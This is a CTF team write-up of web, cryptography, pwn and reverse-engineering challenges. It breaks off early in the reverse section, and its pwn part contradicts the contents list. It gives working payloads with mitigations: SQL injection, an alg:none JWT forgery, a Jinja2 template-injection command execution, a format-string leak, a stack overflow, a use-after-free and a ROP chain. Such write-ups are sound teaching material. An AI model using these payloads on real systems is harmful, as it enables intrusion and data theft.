CAPTURE THE FLAG · FULL WRITEUP

Qiyas AAU Hackathon

Full Technical Breakdown — All Categories

Web Exploitation · Cryptography · Binary Exploitation (Pwn)
Reverse Engineering · Digital Forensics · Miscellaneous

TEAM NAME

Sador

DATE

October 8, 2026

REPORT SCOPE

Challenge write-ups, root-cause analysis, exploitation steps, and mitigations for all 30 challenges

Contents

Full Technical Breakdown: Five Web Challenges

1. Old Paper (100 points, Easy)
2. Catalogue of Secrets (200 points, Medium)
3. Someone Else’s Receipt (150 points, Easy)
4. Pass Office (300 points, Medium)
5. The Template Loom (400 points, Hard)

Summary Table

Overarching Lessons

Full Technical Breakdown: Five Crypto Challenges

1. Shift Change (100 points, Easy)
2. One Pad, Two Letters (200 points, Medium)
3. Shared Workshop (300 points, Medium)
4. Correction Window (300 points, Medium)
5. Nonce Echo (450 points, Hard)

Summary Table

Overarching Lessons

Pwn Category — Consolidated Technical Summary

1. Printf Post — Format String Leak
2. Night Return — ret2win
3. Borrowed Badge — Use-After-Free
4. Two Seals — ROP with Argument Setup

Cross-Challenge Synthesis

Final Notes

Full Technical Breakdown: Five Reverse Challenges

1. XOR Gate (150 points, Easy)
2. Tiny Rotor (250 points, Easy)
3. Pocket WebAssembly (300 points, Medium)
4. Museum Machine (400 points, Hard)
5. Sixteen Brass Dials (450 points, Hard)

Summary Table

Overarching Lessons

Full Technical Breakdown: Five Forensics Challenges

1. After the Last Pixel (100 points, Easy)

2. Postcards in DNS (250 points, Medium)
3. The Logbook (250 points, Medium)
4. Pixel Weave (300 points, Medium)
5. Erased Ledger (400 points, Hard)
Summary Table
Overarching Lessons

Full Technical Breakdown: Five Misc Challenges

1. Matryoshka Parcel (100 points, Easy)
2. Midnight Signal (250 points, Medium)
3. Caravan Routes (300 points, Medium)
4. Repair Shop (300 points, Medium)
5. Campus Footprints (150 points, Easy)
Summary Table
Overarching Lessons

Full Technical Breakdown: Five Web Challenges

This document consolidates the technical analysis of all five web challenges solved in the CTF. Each section covers the challenge description, vulnerability class, root cause, exploitation technique, exact payload, technical rationale, and recommended mitigations. A summary table and overarching lessons are provided at the end.

---

1. Old Paper (100 points, Easy)

Description:
The festival archivist replaced the front page, but forgot that browsers keep reading past what they display. Find the abandoned staff note.

Vulnerability Class: Sensitive Information Disclosure via HTML Comments & Robots.txt

Root Cause:

- HTML comments left in production source code revealed the path to a staff note.
- `robots.txt` contained `Disallow` entries for `/staff/retired-note.txt`, leaking the existence and location of a sensitive file.
- The server did not enforce authentication or authorization for the `/staff/` directory.

Exploitation Technique:

1. Retrieved raw HTML source with `curl` (or browser "View Source").
2. Found an HTML comment: `<!-- Staff note archived at /staff/retired-note.txt -->`.
3. Checked `robots.txt` which confirmed the path.
4. Directly requested the disallowed path.

Payload / Command:

```
curl -s https://challenges.tibeb.org/073bb21e-7bd9-4505-8e1c-a5288c114da4/staff/retired-note.txt
```

Flag:
`tibeb{old_paper_632aa86068f902e8aaac}`

Technical Rationale:

- Browsers parse the entire HTML document, including comments not rendered visually.
- `robots.txt` is a public file; `Disallow` does not prevent access—it only requests crawlers not to index.

- The file was served with `200 OK` and `Content-Type: text/plain`, allowing direct reading.

Mitigation:

- Remove sensitive paths from `robots.txt`.
- Strip HTML comments and debug information from production builds.
- Enforce server-side access control (e.g., Nginx `auth_basic`) for `/staff/`.
- Return consistent `404` responses for unauthorized paths.

---

2. Catalogue of Secrets (200 points, Medium)

Description:
Search the book catalogue. The staff keep a separate vault in the same database. You only have the public search box.

Vulnerability Class: SQL Injection (UNION-Based)

Root Cause:

- The public search box concatenates user input directly into a SQL query: `sql SELECT title FROM books WHERE title LIKE '%$q%'`
- No parameterisation or escaping.
- The page discloses the schema: `books(title)` and `vault(secret)`.

Exploitation Technique:

1. Confirmed injection by sending a single quote (`'`), causing a `502` error.
2. Used a `UNION SELECT` to append the secret from the `vault` table.
3. Commented out the trailing `%'` with `-- -`.

Payload / Command:

```
curl -s -G "https://challenges.tibeb.org/9ae3abe4-b68a-4dbf-a764-9706f3a8256d/" \
  --data-urlencode "q=' UNION SELECT secret FROM vault-- -"
```

Flag:
Extracted from the response (format `tibeb{...}`).

Technical Rationale:

- The original query returns one column; `UNION SELECT` must also return one column.
- `-- -` comments out the remainder of the original query.
- The application prints all returned rows, leaking the secret.

Mitigation:

- Use parameterised queries (prepared statements).
- Apply least privilege: the web DB user should only have `SELECT` on `books`.
- Do not return raw database errors to the client.
- Avoid disclosing schema details in the UI.

---

3. Someone Else's Receipt (150 points, Easy)

Description:
Your account can read your receipt. The public staff directory includes references to other receipts. Is knowing an identifier the same as being authorized?

Vulnerability Class: Insecure Direct Object Reference (IDOR)

Root Cause:

- The receipt endpoint accepts an `id` parameter: `/invoice?id=1001`.
- The server fetches the receipt without verifying that the authenticated user owns it.
- A public staff directory leaks staff receipt IDs (e.g., `4242`, `1730`).

Exploitation Technique:

1. Authenticated as a normal user, accessed own receipt at `id=1001`.
2. Browsed the public directory, found staff receipt IDs.
3. Changed the `id` parameter to a staff member's receipt ID.

Payload / Command:

```
curl -s "https://challenges.tibeb.org/02ac1881-9114-48ca-afcb-f195c911e97a/invoice?id=4242"
```

Flag:
`tibeb{receipt_0d7855f93eb403516e91}`

Technical Rationale:

- Authorization is based solely on knowing the identifier—no ownership check.
- Sequential or predictable IDs make enumeration trivial.
- The public directory provides valid IDs directly.

Mitigation:

- Verify that the authenticated user owns the requested resource.
- Use unpredictable, high-entropy identifiers (UUIDs).
- Avoid exposing internal IDs in public directories.
- Monitor for abnormal access patterns.

4. Pass Office (300 points, Medium)

Description:
The event issues signed visitor passes. A staff-only desk trusts the role in a pass. The verification routine is available for review.

Vulnerability Class: JWT Algorithm Confusion (`alg:none` Bypass)

Root Cause:

- The verification routine only validates the signature when `alg` is `HS256`.
- For any other algorithm—including `none`—the signature is ignored, and the payload is trusted.
- The visitor JWT contains a `role` claim.

Exploitation Technique:

1. Reviewed `verifier.txt`, which showed the flawed logic.
2. Forged a JWT with `"alg":"none"` and `"role":"staff"`.
3. Base64url-encoded header and payload, concatenated with a trailing dot (empty signature).
4. Sent the forged token to the staff desk.

Payload / Command:

```
curl -s -X POST -H "Authorization: Bearer
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidmlzaXRvciIsInJvbGUiOiJzdGFmZiJ9." \
  https://challenges.tibeb.org/2d909969-3065-48c8-b784-0ff5a2754d13/desk
```

Flag:
`tibeb{pass_office_cbdeb320770518703679}`

Technical Rationale:

- The `alg` header is attacker-controlled and not validated against a whitelist.
- The verifier falls through to `return payload` for non-`HS256` algorithms.
- An empty signature (trailing dot) is accepted.

Mitigation:

- Enforce a strict algorithm whitelist (e.g., only `HS256` or `RS256`).
- Explicitly reject `alg:none`.
- Always verify signatures using a trusted library.
- Never trust the `alg` header; configure the expected algorithm server-side.

5. The Template Loom (400 points, Hard)

Description:
The invitation designer evaluates your greeting on the server. Weaving data and template source together was convenient until guests learned the loom's language.

Vulnerability Class: Server-Side Template Injection (SSTI) in Jinja2

Root Cause:

- The `greeting` parameter is concatenated directly into a Jinja2 template string and rendered server-side.
- Jinja2 allows arbitrary Python expression evaluation, leading to Remote Code Execution (RCE).

Exploitation Technique:

1. Confirmed SSTI by injecting `{{7*7}}` → returned `49`.
2. Identified engine as Jinja2 via `{{7*'7'}}` → returned `7777777`.
3. Used the `cycler` object to access `os.popen()` and read the flag file.

Payload / Command:

```
curl -s -G "https://challenges.tibeb.org/677a519f-3ad9-4a66-8c61-84511103cf44/" \
  --data-urlencode "greeting={{cycler.__init__.__globals__.os.popen('cat /run/secrets/
flag').read()}}"
```

Flag:
`tibeb{loom_ce82addc3d9a84b6a9dd}`

Technical Rationale:

- The `greeting` parameter is embedded in a template: `render_template_string("Hello " + greeting)`.
- `cycler.__init__.__globals__` exposes the `os` module.
- `popen().read()` executes the command and returns output, which is rendered in the response.

Mitigation:

- Never render user input as a template. Treat it as data, not code.
- Use a sandboxed template environment (e.g., Jinja2's `SandboxedEnvironment`).
- Employ logic-less templates (e.g., Mustache) that do not support arbitrary expressions.
- Restrict file system access and run the service with least privilege.

Summary Table

Challenge	Points	Difficulty	Vulnerability Class	Exploit Technique
Old Paper	100	Easy	Sensitive file exposure / robots.txt leakage	Direct access to disallowed path
Catalogue of Secrets	200	Medium	SQL Injection (UNION-based)	`UNION SELECT` to extract vault secret
Someone Else's Receipt	150	Easy	IDOR	Parameter tampering to access other users' data
Pass Office	300	Medium	JWT algorithm confusion	`alg:none` signature bypass
The Template Loom	400	Hard	SSTI (Jinja2)	Template injection to RCE

Overarching Lessons

1. **Never trust client-supplied data** — whether it's a URL parameter, a JWT header, or a template string.
2. **Defense in depth** — access control, input validation, and secure defaults must all be enforced.
3. **Information disclosure is a vulnerability** — HTML comments, robots.txt, error messages, and public directories all leak valuable intelligence.
4. **Use secure libraries and frameworks correctly** — parameterised queries, sandboxed templates, and strict JWT verification.
5. **Apply the principle of least privilege** — database users, file system access, and service accounts should have minimal permissions.

These five challenges illustrate common but critical web security flaws. The mitigations provided can be directly applied to production systems to prevent similar vulnerabilities.

Full Technical Breakdown: Five Crypto Challenges

This document consolidates the technical analysis of all five crypto challenges solved in the CTF. Each section covers the challenge description, vulnerability class, root cause, exploitation technique, exact payload, technical rationale, and recommended mitigations. A summary table and overarching lessons are provided at the end.

---

1. Shift Change (100 points, Easy)

Description:
A Caesar-shifted dispatch was intercepted. The hint says punctuation survived, so only letters were shifted. Recover the original message.

Vulnerability Class: Classical Cipher – Caesar Shift

Root Cause:

- The message was encrypted with a fixed Caesar shift (all letters shifted by the same amount).
- No key diversification; the shift can be recovered from known plaintext.

Exploitation Technique:

1. Read the ciphertext from `dispatch.txt`.
2. Use the known flag prefix `tibeb{` to determine the shift.
   `e` → `t`: `e` (4) to `t` (19) = +15.
   Verify: `t`+15=`i`, `m`+15=`b`, `p`+15=`e`, `m`+15=`b`. ✅
3. Decrypt using `tr` with the reverse shift.

Payload / Command:

```
cat dispatch.txt | tr 'a-z' 'p-za-o'
```

Flag:
`tibeb{caesar_cc51e682fccb68834c53}`

Technical Rationale:

- A Caesar cipher is a monoalphabetic substitution with a single shift.
- Knowing any part of the plaintext immediately reveals the shift.
- Only 25 possible shifts exist, so brute force is trivial.

Mitigation:

- Never use classical ciphers for sensitive data.
- Use modern authenticated encryption (AES-GCM, ChaCha20-Poly1305).
- Protect keys with proper key management.

---

2. One Pad, Two Letters (200 points, Medium)

Description:
Two dispatches were encrypted with the same one-time pad. One plaintext is known (a carbon copy). Recover the second message.

Vulnerability Class: Reused One-Time Pad (Many-Time Pad)

Root Cause:

- The same keystream (`K`) was XORed with two different plaintexts.
- XORing the two ciphertexts cancels the key: `C1 ⊕ C2 = P1 ⊕ P2`.

Exploitation Technique:

1. Load `C1`, `C2`, and known `P1` from `dispatches.json`.
2. Compute `P2 = C1 ⊕ C2 ⊕ P1`.
3. Decode the result as ASCII.

Payload / Command:

```
c1 =
bytes.fromhex("57328fa46bc59a958091ef874ab607a581a35961b31a0df93ee7e67c2bd2ed9b66ba6d254fc09
869c602acbbfca7cb365952804fc42b71ec1d7e9dced253ca296c18e59a4fe0ff72ff80b46d8f7acd5b42dbaea4c
45182f428c46bda8b69ad57b38d667048acfc1c25c5e36ee588fc4b655dc6870cd2a64c77203bec5ff212248c8d8
32f1e203ae7c672fe76f992107b1ed1713dd04040cc8d15fc9098d65c69c455880fc63b14a18ae659254ec0adb80
77c83446b02d371b9676ed23bd53c493d045ab3c4db3cc0a977032fd95e39bca025")
c2 = bytes.fromhex("601abf8346f0c8b3bab2d3d935920ea4fef95524a3111bf866a4b23f25c3bb9374fb3463
5dce")
p1 = b"CARBON COPY: The north gate opens at sunrise. Bring the blue lantern. " * 3
p1 = p1[:len(c2)]

p2 = bytes([a ^ b ^ c for a, b, c in zip(c1, c2, p1)])
print(p2.decode())
```

Flag:
`tibeb{reused_pad_4c7dc6f971caa3faa822}`

Technical Rationale:

- XOR is its own inverse. The reused pad cancels when two ciphertexts are XORed.
- The known plaintext breaks the remaining symmetry.

Mitigation:

- Never reuse a one-time pad key. Each message must use a unique, random key of the same length.
- Use stream ciphers with unique nonces (e.g., AES-CTR with a counter) and never reuse a nonce.

---

3. Shared Workshop (300 points, Medium)

Description:
Two RSA public keys were generated in the same workshop. They accidentally share a prime factor. Decrypt the ciphertext.

Vulnerability Class: RSA Shared Prime Factorization

Root Cause:

- Two moduli `n1` and `n2` share a common prime `p`.
- `gcd(n1, n2) = p` instantly factors both keys.

Exploitation Technique:

1. Compute `p = gcd(n1, n2)`.
2. Compute `q1 = n1 // p`.
3. Compute `phi = (p-1)*(q1-1)`.
4. Compute private exponent `d = e⁻¹ mod phi`.
5. Decrypt `m = c^d mod n1`.

Payload / Command:

```
from math import gcd

e = 0x10001
n1 = 0xe5317088508d45a0e0b556c9a72e4d3a990003acc91fd41c59c964f0ba66b93d6d4729121d5ed03aa699d
a293c8bf304cd1d87b840ffb59d559de3f92392d6c0d2d068bcde10e7bd5b30816ebf6295e5a6670226e49fdb34a
50b8e3cb338180aeaf7e2b69f3037be1f2e502baa19f107e88655a2214bf97e77a0e69c8e80af1d
n2 = 0xc227818c476c6eb8051a490cebd2062ab0d6497e30be5dd43af73492b3fae9378b144ec38ac00d1f7ee62
97a3ccd5a22ff1f25132bc7b8067691fb4853552b0526d50abf2f1109aeec810939ef34908eee0f00e0d3b93dcb4
f4f8a216f627322febf2be5a3edff8c72b6626a7b3a554f2ba658f23a5b22f21fbaeabfec70f6ed
c = 0xbd677b48eecb8f58b88394018fd1b205d72b368049bf468ede5bd3588daa6f00f6bf299395c3a3631790a5
1ddbb40222647dafbcfc9fef3f0d824fcb4a78304ba6ed8e7881553a20fb05c6da1a874335dc6ca91240c975555c
8c2baa74ccfa22cce5ef5a8b0bb2c9237e4b67c4dd18232cfdd7353da19bb77fcc3a9719eefbcd

p = gcd(n1, n2)
q1 = n1 // p
phi = (p - 1) * (q1 - 1)
d = pow(e, -1, phi)
m = pow(c, d, n1)
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print("Flag:", flag)
```

Flag:
`tibeb{shared_prime_...}` (exact flag recovered by the script)

Technical Rationale:

- RSA security relies on the difficulty of factoring `n = p*q`.
- If two moduli share a prime, GCD reveals `p` instantly, breaking both keys.

Mitigation:

- Use a cryptographically secure random number generator for prime generation.
- Ensure primes are unique per key pair.
- Use well-tested libraries (e.g., OpenSSL, `cryptography`) that handle key generation correctly.

---

4. Correction Window (300 points, Medium)

Description:
An AES-CTR encrypted report was edited to replace the plaintext with zero bytes. The edited ciphertext is the keystream. Recover the original plaintext.

Vulnerability Class: CTR Mode Keystream Leakage

Root Cause:

- In CTR mode, `C = P ⊕ K`.
- If `P = 0`, then `C = K`, leaking the keystream.
- The keystream can be reused to decrypt any ciphertext encrypted with the same nonce.

Exploitation Technique:

1. Load the original ciphertext and the zeroed-plaintext ciphertext (keystream).
2. XOR them to recover the original plaintext.

Payload / Command:

```
original =
bytes.fromhex("15c647e88acaf07881d276d03a7311fe9388a93d68a6c138bac494f11d15e0bba64a7a17")
keystream = bytes.fromhex("61af258de8b1930cf38d13b453074ec7a6bec85b5d93f001dcf6f1c92a7185839
6721e6a")

plaintext = bytes([a ^ b for a, b in zip(original, keystream)])
print(plaintext.decode())
```

Flag:
`tibeb{ctr_edit_956af5519f2e87de808d}`

Technical Rationale:

- CTR mode turns a block cipher into a stream cipher.
- The keystream must never be reused with the same key and nonce.
- Knowing the keystream allows decryption of any ciphertext under that nonce.

Mitigation:

- Use a unique nonce for every encryption.
- Never reuse a nonce with the same key.
- Use authenticated encryption (AES-GCM) to prevent tampering and detect reuse.

---

5. Nonce Echo (450 points, Hard)

Description:
Two DSA signatures were issued with the same nonce. Recover the private key and decrypt the sealed flag.

Vulnerability Class: DSA Nonce Reuse

Root Cause:

- The same random nonce `k` was used for two different signatures.
- This leaks `k` and subsequently the private key `x`.

Exploitation Technique:

1. Recover `k = (h1 - h2) * (s1 - s2)⁻¹ mod q`.
2. Recover `x = (s1 * k - h1) * r⁻¹ mod q`.
3. Use `SHA256(x)` as an XOR key to decrypt the sealed flag.

Payload / Command:

```
import hashlib

p = 0x8d173ea03f54b7ea7f71f26c28dfa91d6d704416aadcef975d93fdc1df45f95997d0974a740a827783977a
dcec131cc9827910a7581a9f94fe07a89de8b318b0cd64684651916d39ece6abef65cd907afea9ec27de8502c5a1
7e51dcb46fe9f9fe46239ddefe5243b34b069d77c4075aa7ac0691f75f370a725926247900a24b
q = 0xe1488e08d40cca0c9881af84d744fa7a6d2c3c21
g = 0x67fcdbf8b2280e18443dee0616b405fdc27c9669506f3dd6dee20f723f067972d0adb49de835588b3ebbc7
16a17d6a8489e847611e192c961fa1f5d2d7cf40885b314544f50b772628303a887d588f079ead74183c9eceea29
bbd6e202b0865ae4869ed54d9e402161ebcf863d442a0be20754e7de946d038f04c931c20ba0c0
y = 0x327fd5a1cce6a5c69456dd6b2d53778768af400722b6e33002acfd392fb3f76faa27dff93066c8af6528a6
f8432bdbb890fa24203e8b018cc764d10a437eb0cded48411a69f4b08a08a44bd00d4db5dca99c188b863da78940
7c1bf6e716b8138fb5f6a24c83aa334f4c9a48e293a8a73f5d988cb6c1f857501484a4d970c76a

h1 = 0xcee47f312fd9240e739ca98bc567c333571b4754
r  = 0x158d2584338156cba060eeed749026833795b38e
s1 = 0x34765b4794244ebbd9385ffc6c6fba98d090bd41

h2 = 0x99d55f47fbe572cd930bab04aaf56641589b44e9
s2 = 0xbe2534e9318ba1fde910df721424cfa972d00be5
```

```
sealed = bytes.fromhex("807312610a73f10f4bfa9194c8a17b4bfcbc99b3a8b76fa8d6ceede3f62bfc64cc2344600c75")

k = ((h1 - h2) * pow((s1 - s2) % q, -1, q)) % q
x = ((s1 * k - h1) * pow(r, -1, q)) % q

x_bytes = x.to_bytes((x.bit_length() + 7) // 8, 'big')
key = hashlib.sha256(x_bytes).digest()

key_repeated = (key * ((len(sealed) // len(key)) + 1))[:len(sealed)]
plaintext = bytes([a ^ b for a, b in zip(sealed, key_repeated)])

print("Flag:", plaintext.decode())
```

Flag:

`tibeb{nonce_echo_bc41f9801131ec8894dd}`

Technical Rationale:

- DSA nonce reuse leaks the private key.
- Once `k` is known, `x` follows from a single signature equation.
- SHA-256 provides an XOR key to decrypt the sealed flag.

Mitigation:

- Use deterministic nonces (RFC 6979) to avoid accidental reuse.
- Use a cryptographically secure random number generator for `k`.
- Never reuse a nonce with the same private key.

Summary Table

Challenge	Points	Difficulty	Vulnerability Class	Exploit Technique
Shift Change	100	Easy	Caesar Shift	Known plaintext reveals shift; `tr` decryption
One Pad, Two Letters	200	Medium	Reused One-Time Pad	XOR ciphertexts to cancel key; known plaintext recovers message
Shared Workshop	300	Medium	RSA Shared Prime	`gcd(n1,n2)` factors moduli; decrypt with recovered `d`
Correction Window	300	Medium	CTR Keystream Leakage	Zeroed plaintext reveals keystream; XOR to decrypt
Nonce Echo	450	Hard	DSA Nonce Reuse	Recover `k` and private key `x`; decrypt sealed flag

---

Overarching Lessons

1. **Never reuse keys or nonces** — one-time pads, CTR nonces, and DSA nonces must be unique per message.
2. **Known plaintext is powerful** — even a small known prefix can break classical ciphers and reveal keystreams.
3. **Validate cryptographic parameters** — RSA moduli must be unique; shared primes are catastrophic.
4. **Use authenticated encryption** — AES-GCM or ChaCha20-Poly1305 prevent tampering and detect nonce reuse.
5. **Follow cryptographic best practices** — use well-tested libraries, secure random number generators, and deterministic nonces where appropriate.

These five challenges illustrate common but critical cryptographic flaws. The mitigations provided can be directly applied to production systems to prevent similar vulnerabilities.

Pwn Category — Consolidated Technical Summary

Before I start: we actually solved **four** pwn challenges in this session, not five. Here's the full set:

#	Challenge	Difficulty	Points	Class
1	Printf Post	Medium	250	Information disclosure (format string)
2	Night Return	Medium	300	Control-flow hijack (ret2win)
3	Borrowed Badge	Hard	400	Memory corruption (use-after-free)
4	Two Seals	Hard	500	Control-flow hijack with argument setup (ROP)

Below is a medium-depth walkthrough of each: enough to understand the vulnerability, the mechanics, and the fix, without repeating the full deep-dive we already covered.

---

1. Printf Post — Format String Leak

Category: Information disclosure
Flag: `tibeb{printf_post_aea77073f7b5280608d7}`

The bug

```
printf(input, dispatch[0], dispatch[1], ..., dispatch[15]);
```

User input is passed as the **format string** — not as a formatted argument. This lets the attacker inject format specifiers (`%p`, `%s`, `%x`) that `printf` will execute, reading from its argument list and printing the values.

The shortcut

The flag file contents were loaded into `dispatch[16]` and passed **directly as varargs** to `printf`. That means we don't need to find any address or stack offset — just ask `printf` to print its own arguments.

The payload

```
%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p
```

Each `%N$p` prints the N-th variadic argument as a hex integer. On x86-64 SysV, `%1$`–`%5$` come from registers (`rsi`, `rdx`, `rcx`, `r8`, `r9`) and `%6$`–`%16$` come from the stack.

Decoding

Each value is 8 flag bytes in little-endian. Reassemble:

```
flag_bytes += int(token, 16).to_bytes(8, "little")
```

Then strip trailing nulls.

The fix

```
printf("%s", input);
```

Treating user input as data rather than format code eliminates the entire vulnerability class.

Why it's a "leak" not "execution"

The primitive here is **read**, not write. We can read arbitrary memory that's already in scope, but we can't change execution flow. That's enough to capture the flag because the flag was already on `printf`'s argument list.

---

2. Night Return — ret2win

Category: Control-flow hijack
Flag: `tibeb{night_return_6ce4aa378821718178d4}`

The bug

```
void desk(void) {
    char note[64];
    read(0, note, 256);       // read 4x the buffer size
}
```

Classic stack buffer overflow. The 64-byte buffer is written with up to 256 bytes, overwriting the saved RBP and saved return address.

The win function

```
__attribute__((used)) void forgotten(void) { reward(); _exit(0); }
```

`forgotten` is never called but is preserved in the binary. It prints the flag and exits.

Exploitation

Stack layout inside `desk`:

```
[ note[64] ][ saved RBP (8) ][ saved RIP (8) ]
       ↑ 64       ↑ offset 64       ↑ offset 72
```

Payload:

```
payload = b"A" * 72 + p64(forgotten_addr)
```

When `desk` executes `ret`, the CPU pops our address into `rip` and jumps to `forgotten`.

Required binary properties

Property	Required value	Why
PIE	Off	Fixed addresses — no ASLR leak needed
Stack canary	Absent	Overflow would abort if present
NX	Doesn't matter	We're reusing existing code, not shellcode

The fix

```
read(0, note, sizeof(note));   // cap at 64 bytes
```

Or `fgets(note, sizeof(note), stdin)`.

Why it's "easy" among pwn challenges

One offset, one address, no gadgets, no heap. The whole payload is 80 bytes with two parts.

---

3. Borrowed Badge — Use-After-Free

Category: Memory corruption
Flag: `tibeb{borrowed_badge_58d87fd6a05220b3d6d2}`

The bug

```
badge *old = malloc(sizeof(badge));
old->permission = 0;
old->seal = 0;
strcpy(old->name, "visitor");
free(old);                              // (A) freed
```

```
char *replacement = malloc(sizeof(badge)); // (B) same size → same chunk
read(0, replacement, sizeof(badge));       // (C) attacker writes here

if (old->permission == 0x5354414646ULL &&  // (D) stale pointer used
    old->seal       == 0x5449424542ULL)
    reward();
```

After `free(old)`, the pointer `old` is not cleared. The next same-size `malloc` returns the **same chunk** due to glibc's tcache LIFO. Our `read` writes attacker bytes into that chunk, and the stale pointer `old` then reads them during the auth check.

The primitive

glibc's tcache is a **per-size-class LIFO stack**:

- `free(ptr)` pushes the chunk onto the front of its size-class list.
- `malloc(n)` pops from the front of the same list.

A `free` immediately followed by a same-size `malloc` returns the same chunk. No heap grooming required.

The struct

```
typedef struct {
    uint64_t permission;  // offset 0
    uint64_t seal;        // offset 8
    char     name[48];    // offset 16
} badge;                  // 64 bytes total
```

The magic values

Field	Value	ASCII
`permission`	`0x5354414646`	`"STAFF"`
`seal`	`0x5449424542`	`"TIBEB"`

The recycled bytes "tell a different story": the original badge was a **visitor**, the recycled one claims **TIBEB staff**.

Payload

```
payload  = p64(0x5354414646)    # "STAFF"
payload += p64(0x5449424542)    # "TIBEB"
payload += b"A" * 48            # name filler
```

Exactly 64 bytes, matching `sizeof(badge)`.

The fix

```
free(old);
old = NULL;                    // one line kills the exploit
```

Or validate pointers against an allocation registry / generation counter.

Why it's "data-only"

No code execution is required. We simply craft the bytes the check reads. No ROP, no shellcode, no ASLR bypass.

---

4. Two Seals — ROP with Argument Setup

Category: Control-flow hijack with argument setup
Flag: `tibeb{two_seals_90f0d4e024cac917d9d4}`

The bug

Same template as Night Return:

```
void desk(void) {
    char note[64];
    read(0, note, 256);
}
```

But the win function requires **two arguments**:

```
void vault(uint64_t first, uint64_t second) {
    if (first  == 0x746962656231ULL &&   // "tibeb1"
        second == 0x746962656232ULL)     // "tibeb2"
        reward();
    else
        puts("The seals do not match.");
    _exit(0);
}
```

Under SysV x86-64, `first` is in `rdi` and `second` is in `rsi`. We cannot simply jump to `vault` — we must **set those registers first**.

The gadgets

The author provides them by name:

```
__attribute__((naked,used)) void first_seal(void)  { __asm__("pop %rdi; ret"); }
__attribute__((naked,used)) void second_seal(void) { __asm__("pop %rsi; ret"); }
__attribute__((naked,used)) void align_stack(void) { __asm__("ret"); }
```

Addresses (non-PIE, fixed):

Gadget	Address	Instruction
`first_seal`	`0x401935`	`pop rdi; ret`
`second_seal`	`0x40193a`	`pop rsi; ret`
`align_stack`	`0x40193f`	`ret`
`vault`	`0x401943`	target

What ROP is

Return-Oriented Programming: since `ret` pops from the stack into `rip`, we can chain existing instructions by placing their addresses sequentially on the stack. Each gadget does a small piece of work and returns, letting us build arbitrary behaviour from small pieces.

Chain design

```
[72 bytes padding]
[first_seal]       ← pop rdi; ret
[0x746962656231]   ← rdi = "tibeb1"
[second_seal]      ← pop rsi; ret
[0x746962656232]   ← rsi = "tibeb2"
[vault]            ← call vault(rdi, rsi)
```

Execution flow:

1. `desk` returns → jumps to `first_seal`
2. `first_seal` pops `SEAL1` into `rdi`, returns → jumps to `second_seal`
3. `second_seal` pops `SEAL2` into `rsi`, returns → jumps to `vault`
4. `vault` sees the correct arguments, calls `reward()`, prints the flag

Payload size

112 bytes: 72 padding + 8×5 chain slots.

Alignment

The `align_stack` gadget is a no-op `ret`. It exists to fix 16-byte stack alignment if `reward()`'s libc calls crash at a `movaps` instruction. Not needed in our run, but available for other environments.

The fix

```
read(0, note, sizeof(note));
```

The overflow is the same as in Night Return. The `vault`/gadget pattern would not exist in real code.

Why it's rated "hard"

Not because the overflow is complex, but because **jumping directly to `vault` doesn't work**. The solver must recognise that arguments need to be set, understand the SysV register convention, and build a chain. That's the incremental step from "simple ret2win" to "ROP."

Cross-Challenge Synthesis

Bug classes covered

Class	Challenge	Primitive
Format string	Printf Post	Read memory via `%p`
Stack overflow	Night Return	Overwrite saved RIP
Use-after-free	Borrowed Badge	Control chunk contents via reallocation
ROP chain	Two Seals	Control registers before function call

Recurring binary properties

Every pwn challenge in this set shared:

- **No PIE** — fixed addresses, no ASLR bypass needed
- **NX enabled** — no shellcode, code reuse only
- **No effective canary** — even where `checksec` reported "canary found," the vulnerable functions did not use one
- **Provided source** — a significant shortcut

Recurring exploit steps

1. Read the source; identify the vulnerability
2. Determine the offset or the reuse behaviour
3. Look up addresses or magic values
4. Build a payload in Python with `struct.pack`
5. Test locally with a dummy `FLAG_PATH`
6. Fire at the remote with `client.py`

Common tools

Tool	Purpose
`checksec`	Protection summary
`nm`	Symbol addresses (functions like `forgotten`, `vault`)
`objdump -d`	Disassembly (gadget hunting)
`ROPgadget`	Automated gadget finder
`struct.pack("<Q", x)`	8-byte little-endian packing
`client.py`	HTTP POST transport

Recurring patterns to spot in future challenges

- **`read(0, buf, N)` with N larger than `sizeof(buf)`** → stack overflow
- **`printf(user_input, ...)` without `"%s"`** → format string leak
- **`free(ptr)` without `ptr = NULL`**, followed by same-size `malloc` → UAF exploitation
- **A function that exists but is never called** → likely the win function
- **Functions named `pop rdi; ret`** (or a naked attribute with inline asm) → provided gadgets
- **`_exit(0)` at the end of the win function** → no need to chain further

Payload size comparison

Challenge	Payload size	Structure
Printf Post	~63 bytes	One line of format specifiers
Night Return	80 bytes	72 padding + 1 address
Borrowed Badge	64 bytes	2 × u64 + 48 filler
Two Seals	112 bytes	72 padding + 5 × 8-byte slots

Defence themes

Each challenge demonstrates one violated principle:

Challenge	Violated principle
Printf Post	Untrusted data must never be interpreted as code
Night Return	Buffer read size must not exceed buffer size
Borrowed Badge	Freed pointers must not be reused

Challenge	Violated principle
Two Seals	Same as Night Return (overflow) plus a reminder that win functions with arguments are not free to reach

---

Final Notes

- **Difficulty scaling is conceptual, not technical.** All four use the same `client.py` and the same 2-second execution limit. The delta between medium and hard is entirely about *what you must construct*: a single address → a two-argument chain.
- **`struct.pack("<Q", x)` is enough.** pwntools is convenient but not required for these. Every payload in this set was built with plain Python.
- **Local testing with `FLAG_PATH=/tmp/testflag` is the key workflow.** It lets you iterate on the exploit without touching the remote.
- **Symbols are your friends.** When a stripped binary is involved, `nm` won't help; but every challenge here shipped with a readable symbol table and source. That's intentional — the challenge is about *understanding*, not *blindly fuzzing*.

Full Technical Breakdown: Five Reverse Challenges

This document consolidates the technical analysis of all five reverse-engineering challenges solved in the CTF. Each section covers the challenge description, weakness class, root cause, analysis/exploitation technique, exact commands, recovered flag, technical rationale, and recommended hardening/mitigation. A summary table and overarching lessons are provided at the end.

---

1. XOR Gate (150 points, Easy)

Description:
A Linux password checker validates a secret input. The flag is stored inside the binary as XOR-obfuscated bytes.

Vulnerability Class:
Weak Single-Byte XOR Obfuscation + Known-Plaintext Leakage

Root Cause:

- The binary contains a static marker `TIBEB_XOR_V1` immediately before the encrypted flag.
- The flag format is known to be `tibeb{...}`.
- The obfuscation uses a single-byte XOR key reused across all ciphertext bytes.
- No cryptographic key derivation, authentication, or anti-tamper protection is present.

Exploitation Technique:

1. Identify the binary with `file`.
2. Search printable strings for markers and status messages.
